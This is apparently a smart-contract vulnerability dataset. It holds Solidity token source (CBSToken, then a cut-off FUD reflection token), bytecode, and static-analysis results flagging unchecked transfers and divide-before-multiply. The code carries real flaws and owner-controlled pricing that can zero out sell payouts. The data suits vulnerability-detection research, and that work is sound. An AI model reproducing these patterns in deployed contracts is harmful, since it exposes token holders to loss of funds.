uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract CBSToken is StandardToken, CanReclaimToken {
using SafeMath for uint;
event BuyToken(address indexed from, uint256 value);
event SellToken(address indexed from, uint256 value, uint256 sellEth);
event TransferContractEth(address indexed to, uint256 value);
string public symbol;
string public name;
string public version = "1.0";
uint8 public decimals;
uint256 INITIAL_SUPPLY;
uint256 tokens;
uint256 public buyPrice;
uint256 public sellPrice;
uint256 public contractEth;
bool public allowBuy;
bool public allowSell;
// constructor
function CBSToken(
string _symbol,
string _name,
uint8 _decimals,
uint256 _INITIAL_SUPPLY,
uint256 _buyPrice,
uint256 _sellPrice,
bool _allowBuy,
bool _allowSell
) public {
symbol = _symbol;
name = _name;
decimals = _decimals;
INITIAL_SUPPLY = _INITIAL_SUPPLY * 10 ** uint256(decimals);
setBuyPrices(_buyPrice);
setSellPrices(_sellPrice);
totalSupply_ = INITIAL_SUPPLY;
maxSupply_ = INITIAL_SUPPLY;
balances[owner] = totalSupply_;
allowBuy = _allowBuy;
allowSell = _allowSell;
}
function setAllowBuy(bool _allowBuy) public onlyOwner {
allowBuy = _allowBuy;
}
function setBuyPrices(uint256 _newBuyPrice) public onlyOwner {
buyPrice = _newBuyPrice;
}
function setAllowSell(bool _allowSell) public onlyOwner {
allowSell = _allowSell;
}
function setSellPrices(uint256 _newSellPrice) public onlyOwner {
sellPrice = _newSellPrice;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2) public returns (bool) {
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3) public returns (bool) {
super.transferFrom(_from, _to, _value);
}
function () public payable {
BuyTokens(msg.value);
}
function BuyTokens(uint256 _value) internal {
tokens = _value.div(buyPrice).mul(100);
require(allowBuy);
require(_value > 0 && _value >= buyPrice && tokens > 0);
require(balances[owner] >= tokens);
super.transferByInternal(owner, msg.sender, tokens);
contractEth = contractEth.add(_value);
BuyToken(msg.sender, _value);
}
function transferEther(address _to, uint256 _value) onlyOwner public returns (bool) {
require(_value <= contractEth);
_to.transfer(_value);
contractEth = contractEth.sub(_value);
TransferContractEth(_to, _value);
return true;
}
function sellTokens(uint256 _value) public returns (bool) {
uint256 sellEth;
require(allowSell);
require(_value > 0);
require(balances[msg.sender] >= _value);
if (sellPrice == 0){
sellEth = 0;
}
else
{
sellEth = _value.mul(sellPrice).div(100);
}
super.transferByInternal(msg.sender, owner, _value);
SellToken(msg.sender, _value, sellEth);
msg.sender.transfer(sellEth);
contractEth = contractEth.sub(sellEth);
}
}
|
0x60806040526004361061016a576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305b1137b1461017557806306fdde03146101da578063095ea7b31461026a57806317ffc320146102cf57806318160ddd1461031257806323b872dd1461033d578063313ce567146103c257806336e0f6cc146103f35780634b7503341461042257806354fd4d501461044d578063588b1578146104dd57806366188463146105085780636c11bcd31461056d57806370a08231146105b257806379c65068146106095780638620410b146106565780638da5cb5b1461068157806395d89b41146106d8578063a9059cbb14610768578063ab7cb211146107cd578063af7d0eff146107fc578063cdc2584514610829578063d373507b14610856578063d5abeb0114610885578063d6046836146108b0578063d73dd623146108df578063dd62ed3e14610944578063f2fde38b146109bb575b610173346109fe565b005b34801561018157600080fd5b506101c0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b7e565b604051808215151515815260200191505060405180910390f35b3480156101e657600080fd5b506101ef610ca6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561022f578082015181840152602081019050610214565b50505050905090810190601f16801561025c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561027657600080fd5b506102b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d44565b604051808215151515815260200191505060405180910390f35b3480156102db57600080fd5b50610310600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e4e565b005b34801561031e57600080fd5b50610327611087565b6040518082815260200191505060405180910390f35b34801561034957600080fd5b506103a8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611091565b604051808215151515815260200191505060405180910390f35b3480156103ce57600080fd5b506103d76110be565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103ff57600080fd5b506104086110d1565b604051808215151515815260200191505060405180910390f35b34801561042e57600080fd5b506104376110e4565b6040518082815260200191505060405180910390f35b34801561045957600080fd5b506104626110ea565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104a2578082015181840152602081019050610487565b50505050905090810190601f1680156104cf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104e957600080fd5b506104f2611188565b6040518082815260200191505060405180910390f35b34801561051457600080fd5b50610553600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061118e565b604051808215151515815260200191505060405180910390f35b34801561057957600080fd5b5061059860048036038101908080359060200190929190505050611437565b604051808215151515815260200191505060405180910390f35b3480156105be57600080fd5b506105f3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115dc565b6040518082815260200191505060405180910390f35b34801561061557600080fd5b50610654600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611625565b005b34801561066257600080fd5b5061066b611850565b6040518082815260200191505060405180910390f35b34801561068d57600080fd5b50610696611856565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106e457600080fd5b506106ed61187b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561072d578082015181840152602081019050610712565b50505050905090810190601f16801561075a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561077457600080fd5b506107b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611919565b604051808215151515815260200191505060405180910390f35b3480156107d957600080fd5b506107e2611944565b604051808215151515815260200191505060405180910390f35b34801561080857600080fd5b5061082760048036038101908080359060200190929190505050611957565b005b34801561083557600080fd5b50610854600480360381019080803590602001909291905050506119bc565b005b34801561086257600080fd5b50610883600480360381019080803515159060200190929190505050611a21565b005b34801561089157600080fd5b5061089a611a99565b6040518082815260200191505060405180910390f35b3480156108bc57600080fd5b506108dd600480360381019080803515159060200190929190505050611aa3565b005b3480156108eb57600080fd5b5061092a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b1b565b604051808215151515815260200191505060405180910390f35b34801561095057600080fd5b506109a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d2f565b6040518082815260200191505060405180910390f35b3480156109c757600080fd5b506109fc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611db6565b005b610a266064610a18600b5484611f0b90919063ffffffff16565b611f2690919063ffffffff16565b600a81905550600e60009054906101000a900460ff161515610a4757600080fd5b600081118015610a595750600b548110155b8015610a6757506000600a54115b1515610a7257600080fd5b600a54600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610ae357600080fd5b610b116000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633600a54611f61565b50610b2781600d5461233490919063ffffffff16565b600d819055503373ffffffffffffffffffffffffffffffffffffffff167fdd06b66c3ba8126086cd863137d6f3b86ce5bcf4309cac390cc265e39194d0b2826040518082815260200191505060405180910390a250565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bdb57600080fd5b600d548211151515610bec57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610c32573d6000803e3d6000fd5b50610c4882600d5461235290919063ffffffff16565b600d819055508273ffffffffffffffffffffffffffffffffffffffff167f96982209c8032d7c15ed67a4014ad329b34c178ac69da1c8c9ad9297ca25f528836040518082815260200191505060405180910390a26001905092915050565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d3c5780601f10610d1157610100808354040283529160200191610d3c565b820191906000526020600020905b815481529060010190602001808311610d1f57829003601f168201915b505050505081565b60006002600460208202016000369050141515610d5d57fe5b82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a3600191505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eab57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b505050506040513d6020811015610f7057600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561104757600080fd5b505af115801561105b573d6000803e3d6000fd5b505050506040513d602081101561107157600080fd5b8101908080519060200190929190505050505050565b6000600354905090565b600060036004602082020160003690501415156110aa57fe5b6110b585858561236b565b50509392505050565b600860009054906101000a900460ff1681565b600e60019054906101000a900460ff1681565b600c5481565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111805780601f1061115557610100808354040283529160200191611180565b820191906000526020600020905b81548152906001019060200180831161116357829003601f168201915b505050505081565b600d5481565b60008060026004602082020160003690501415156111a857fe5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549150818411156112b6576000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061134a565b6112c9848361235290919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a360019250505092915050565b600080600e60019054906101000a900460ff16151561145557600080fd5b60008311151561146457600080fd5b82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156114b257600080fd5b6000600c5414156114c657600090506114f1565b6114ee60646114e0600c5486611f2690919063ffffffff16565b611f0b90919063ffffffff16565b90505b61151d336000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685611f61565b503373ffffffffffffffffffffffffffffffffffffffff167fa8ff15eb642b39da3ab82bb74a87b76cc3e1aef2b82b70bc2a35458386db29aa8483604051808381526020018281526020019250505060405180910390a23373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156115ba573d6000803e3d6000fd5b506115d081600d5461235290919063ffffffff16565b600d8190555050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561168057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156116bc57600080fd5b6000811115156116cb57600080fd5b60006002541180156116f357506002546116f08260035461233490919063ffffffff16565b11155b15156116fe57600080fd5b61175081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461233490919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117a88160035461233490919063ffffffff16565b6003819055508173ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167f0dbf527e8108a64cffa876829b9472b7e362bd134083bbd7d5a656e5ad3299ae826040518082815260200191505060405180910390a25050565b600b5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119115780601f106118e657610100808354040283529160200191611911565b820191906000526020600020905b8154815290600101906020018083116118f457829003601f168201915b505050505081565b6000600260046020820201600036905014151561193257fe5b61193c8484612743565b505092915050565b600e60009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119b257600080fd5b80600c8190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a1757600080fd5b80600b8190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a7c57600080fd5b80600e60016101000a81548160ff02191690831515021790555050565b6000600254905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611afe57600080fd5b80600e60006101000a81548160ff02191690831515021790555050565b60006002600460208202016000369050141515611b3457fe5b611bc383600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461233490919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e1157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611e4d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808284811515611f1957fe5b0490508091505092915050565b6000806000841415611f3b5760009150611f5a565b8284029050828482811515611f4c57fe5b04141515611f5657fe5b8091505b5092915050565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611fa057600080fd5b600083111515611faf57600080fd5b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611ffd57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561208b57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905061216083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461235290919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121f583600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461233490919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a380600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540114151561232857fe5b60019150509392505050565b600080828401905083811015151561234857fe5b8091505092915050565b600082821115151561236057fe5b818303905092915050565b6000600360046020820201600036905014151561238457fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156123c057600080fd5b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561240e57600080fd5b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561249957600080fd5b6124eb83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461235290919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061258083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461233490919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061265283600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461235290919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6000600260046020820201600036905014151561275c57fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561279857600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156127e657600080fd5b61283883600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461235290919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128cd83600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461233490919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a36001915050929150505600a165627a7a7230582064e79b4e47ea6af5a2c56e22ae1118cbef36e1a42d07fb5e335e8f8c972a1dc40029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 4,237 |
0xF35Af3F4CeB3Da9526331740B743Cf754FB0C6bA
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FUD is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redistributionAddress;
uint256 private _feeAddr2;
address payable private _marketingAddress;
string private constant _name = "t.me/FUDofficial";
string private constant _symbol = "FUD?";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 public openTradingTime;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_marketingAddress = payable(0x161C1B0869791D968D794271dB04aAd8CA70bF3f);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_redistributionAddress = 1;
_feeAddr2 = 10;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
if (block.timestamp < openTradingTime + 30 seconds) {
require(amount <= _maxTxAmount);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 300000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
openTradingTime = block.timestamp;
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
